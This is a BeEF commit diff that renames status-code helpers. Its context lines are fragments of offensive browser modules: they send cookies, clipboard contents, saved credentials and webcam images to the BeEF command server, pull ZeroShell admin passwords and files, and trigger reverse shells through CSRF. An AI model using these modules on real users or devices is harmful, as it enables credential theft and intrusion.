Phase 1: Module Status Code Migration

This commit is contained in:
kaitoozawa
2025-12-27 15:40:45 +10:00
parent 53c97721e1
commit d6074de5fd
66 changed files with 191 additions and 197 deletions
-41
View File
@@ -1,41 +0,0 @@
//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* A series of functions that handle statuses, returns a number based on the function called.
* @namespace beef.are
*/
beef.are = {
/**
* A function for handling a success status
* @memberof beef.are
* @method status_success
* @return {number} 1
*/
status_success: function(){
return 1;
},
/**
* A function for handling an unknown status
* @memberof beef.are
* @method status_unknown
* @return {number} 0
*/
status_unknown: function(){
return 0;
},
/**
* A function for handling an error status
* @memberof beef.are
* @method status_error
* @return {number} -1
*/
status_error: function(){
return -1;
}
};
beef.regCmp("beef.are");
+42
View File
@@ -0,0 +1,42 @@
//
// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Status code helpers for module command results.
* Modules use these when sending results back to the BeEF server.
* @namespace beef.status
*/
beef.status = {
/**
* Success status code
* @memberof beef.status
* @method success
* @return {number} 1
*/
success: function(){
return 1;
},
/**
* Unknown status code
* @memberof beef.status
* @method unknown
* @return {number} 0
*/
unknown: function(){
return 0;
},
/**
* Error status code
* @memberof beef.status
* @method error
* @return {number} -1
*/
error: function(){
return -1;
}
};
beef.regCmp("beef.status");
+1 -1
View File
@@ -23,7 +23,7 @@ module BeEF
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
+1 -1
View File
@@ -23,7 +23,7 @@ module BeEF
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
@@ -23,7 +23,7 @@ module BeEF
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
+5 -5
View File
@@ -1099,7 +1099,7 @@ beef.execute(function() {
if (!failed) {
failed = true;
if (e.indexOf("detect_chrome_extension") != -1) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error());
}
}
};
@@ -1108,7 +1108,7 @@ beef.execute(function() {
detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
}
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error());
}
} else if(beef.browser.isFF()) {
try {
@@ -1117,7 +1117,7 @@ beef.execute(function() {
if (!failed) {
failed = true;
if (e.indexOf("detect_firefox_extension") != -1) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error());
}
}
};
@@ -1126,11 +1126,11 @@ beef.execute(function() {
detect_firefox_extension(firefox_extensions[i], i);
}
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error());
}
} else {
beef.debug('[Detect Extensions] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.status.error());
}
});
+2 -2
View File
@@ -8,11 +8,11 @@ beef.execute(function() {
if (navigator.mimeTypes) {
var mime_types = JSON.stringify(navigator.mimeTypes);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.status.success());
beef.debug("[Detect MIME Types] " + mime_types);
} else {
beef.debug("[Detect MIME Types] Could not retrieve supported MIME types");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.status.error());
}
});
@@ -22,12 +22,12 @@ beef.execute(function() {
var murmur = Fingerprint2.x64hash128(values.join(''), 31)
beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur);
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.status.success());
})
}, 500)
} catch(e) {
beef.debug('[Fingerprint Browser] Error: ' + e.message);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.status.error());
}
});
@@ -6,5 +6,5 @@
beef.execute(function() {
alert("<%= @text %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.status.success());
});
@@ -8,8 +8,8 @@ beef.execute(function() {
try {
beef.debug("Clearing console...");
console.clear();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.status.success());
} catch(e) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.status.error());
}
});
@@ -9,5 +9,5 @@ beef.execute(function() {
document.title = "<%= @deface_title %>";
beef.browser.changeFavicon("<%= @deface_favicon %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.status.success());
});
@@ -10,5 +10,5 @@ beef.execute(function() {
$j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>')););
}).length;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.status.success());
});
@@ -23,7 +23,7 @@ beef.execute(function() {
}
beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.status.success());
}
create_form = function(input_name) {
@@ -5,10 +5,10 @@
//
beef.execute(function() {
try {
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.success());
beef.debug("[Get Cookie] Cookie captured: "+document.cookie);
}catch(e){
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.error());
beef.debug("[Get Cookie] Error");
}
});
@@ -8,7 +8,7 @@ beef.execute(function() {
var head = beef.browser.getPageHead();
var body = beef.browser.getPageBody();
var mod_data = 'head=' + head + '&body=' + body;
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success());
return [beef.are.status_success(), mod_data];
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.status.success());
return [beef.status.success(), mod_data];
});
+2 -2
View File
@@ -10,9 +10,9 @@ beef.execute(function() {
var sound = new Audio(url);
sound.play();
beef.debug("[Play Sound] Played sound successfully: " + url);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.status.success());
} catch (e) {
beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error());
}
});
+3 -3
View File
@@ -11,7 +11,7 @@ beef.execute(function() {
beef.debug('[Webcam HTML5] Browser supports WebGL');
} else {
beef.debug('[Webcam HTML5] Error: WebGL is not supported');
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error());
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.status.error());
return;
}
@@ -36,7 +36,7 @@ beef.execute(function() {
ctx.drawImage(vid_el,0,0,width,height);
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
} else {
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.status.error());
}
};
@@ -85,7 +85,7 @@ beef.execute(function() {
}, false);
}, function(err) {
beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.status.error());
});
// Retrieve the chosen div option from BeEF and display
@@ -9,8 +9,6 @@ beef.execute(function() {
var str = '';
for (var i=32; i<=127;i++) str += String.fromCharCode(i);
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
//return [beef.are.status_success(), str];
test_return_ascii_chars_mod_output = [beef.are.status_success(), str];
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success());
});
@@ -13,8 +13,6 @@ beef.execute(function() {
for (var i = 0; i < iterations; i++) {
str += repeat_value;
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
//return [beef.are.status_success(), str];
test_return_long_string_mod_output = [beef.are.status_unknown(), str];
beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success());
});
@@ -26,6 +26,6 @@ beef.execute(function() {
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).");
document.location = target;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown());
});
@@ -18,18 +18,18 @@ beef.execute(function() {
beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){
if(response1.status_code == 200){
pwd = response1.response_body.trim();
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success());
beef.debug("[ZeroShell_2.0RC2_admin_dynamic_token] Trying to authenticate admin user to gain dynamic token with password: " + pwd);
beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){
if(response2.status_code == 200){
token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40);
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success());
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error());
}
});
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error());
}
});
});
@@ -13,9 +13,9 @@ beef.execute(function() {
beef.debug("[ZeroShell_2.0RC2_admin_password] Trying to retrieve admin password in plaintext: " + uri);
beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){
if(response.status_code == 200){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.status.success());
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error());
}
});
});
@@ -13,9 +13,9 @@ beef.execute(function() {
beef.debug("[ZeroShell_2.0RC2_admin_static_token] Trying to retrieve admin static token: " + uri);
beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){
if(response.status_code == 200){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.status.success());
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error());
}
});
});
@@ -14,9 +14,9 @@ beef.execute(function() {
beef.debug("[ZeroShell_2.0RC2_file_disclosure] Trying to retrieve local file: " + uri);
beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){
if(response.status_code == 200){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.status.success());
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error());
}
});
});
@@ -15,5 +15,5 @@ beef.execute(function() {
var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
iframe_<%= @command_id %>.setAttribute('src', target);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.are.status_unknown());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.status.unknown());
});
@@ -21,12 +21,12 @@ beef.execute(function() {
beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){
if(response1.status_code == 200){
pwd = response1.response_body.trim();
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success());
beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to authenticate admin user to gain dynamic token with password: " + pwd);
beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){
if(response2.status_code == 200){
token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40);
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success());
beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to spawn a reverse-shell via CSRF in ZeroShell SOP context.");
beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, {
Action: "Lookup",
@@ -35,15 +35,15 @@ beef.execute(function() {
STk: token,
What: payload
}, 10, 'script', false, null, function(response3){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.status.unknown());
}
);
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error());
}
});
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error());
}
});
});
@@ -17,5 +17,5 @@ beef.execute(function() {
var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
iframe_<%= @command_id %>.setAttribute('src', target);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown());
});
@@ -96,9 +96,9 @@ beef.execute(function() {
// Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited.
getResult = function(){
if(result.trim() != "")
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.status.success());
else
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.status.unknown());
div.innerHTML = ""; // Clean the current DOM's div
result = ""; // Clear the result of the bloc tested for the next loop
}
@@ -108,7 +108,7 @@ beef.execute(function() {
else // We have reach the last IP address to scan
setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete
document.body.removeChild(div);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.status.success());
}, timeout*2);
}
+2 -2
View File
@@ -8,9 +8,9 @@ beef.execute(function() {
try {
var clipboard = clipboardData.getData("Text");
beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.status.success());
} catch (e) {
beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.status.error());
}
});
+2 -2
View File
@@ -12,11 +12,11 @@ beef.execute(function() {
img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";
img.onload = function() {
if (this.width == 146 && this.height == 176) result = "Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.success());
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.error());
dom.removeChild(this);
}
dom.appendChild(img);
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!beef.browser.hasWebSocket()) {
beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error());
}
//var url = 'ws://127.0.0.1:2687';
@@ -33,7 +33,7 @@ beef.execute(function() {
socket.onerror = function(error) {
beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error));
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.status.error());
};
socket.onclose = function(event) {
@@ -46,13 +46,13 @@ beef.execute(function() {
var result = JSON.parse(event.data);
if (result['GetVersion']) {
beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.status.success());
} else if (result['GetDeviceID']) {
beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.status.success());
} else if (result['CheckPrinter']) {
beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.status.success());
}
} catch(e) {
beef.debug('Could not parse WebSocket response JSON: ' + event.data);
+2 -2
View File
@@ -12,11 +12,11 @@ beef.execute(function() {
img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png";
img.onload = function() {
if (this.width == 128 && this.height == 128) result="Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.success());
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.error());
dom.removeChild(this);
}
dom.appendChild(img);
@@ -9,8 +9,8 @@ beef.execute(function() {
var dom = document.createElement('b');
var img = new Image;
img.src = "http://127.0.0.1:4664/logo3.gif";
img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.are.status_success());dom.removeChild(this); }
img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.are.status_error());dom.removeChild(this); }
img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.status.success());dom.removeChild(this); }
img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.status.error());dom.removeChild(this); }
dom.appendChild(img);
});
+2 -2
View File
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Users] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error());
return false;
}
@@ -32,7 +32,7 @@ beef.execute(function() {
var result = detect_drive(drive);
if (result) {
beef.debug('[Detect Local Drives] Found drive: ' + drive);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.status.success());
}
}
+1 -1
View File
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Software] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error());
return false;
}
+8 -8
View File
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Users] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error());
return false;
}
@@ -43,7 +43,7 @@ beef.execute(function() {
if (home_dir == '') {
beef.debug('[Detect Users] Could not find home directory');
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.status.error());
return false;
}
@@ -64,7 +64,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
@@ -83,7 +83,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
@@ -96,7 +96,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -110,7 +110,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -124,7 +124,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -138,7 +138,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -32,7 +32,7 @@ beef.execute(function() {
};
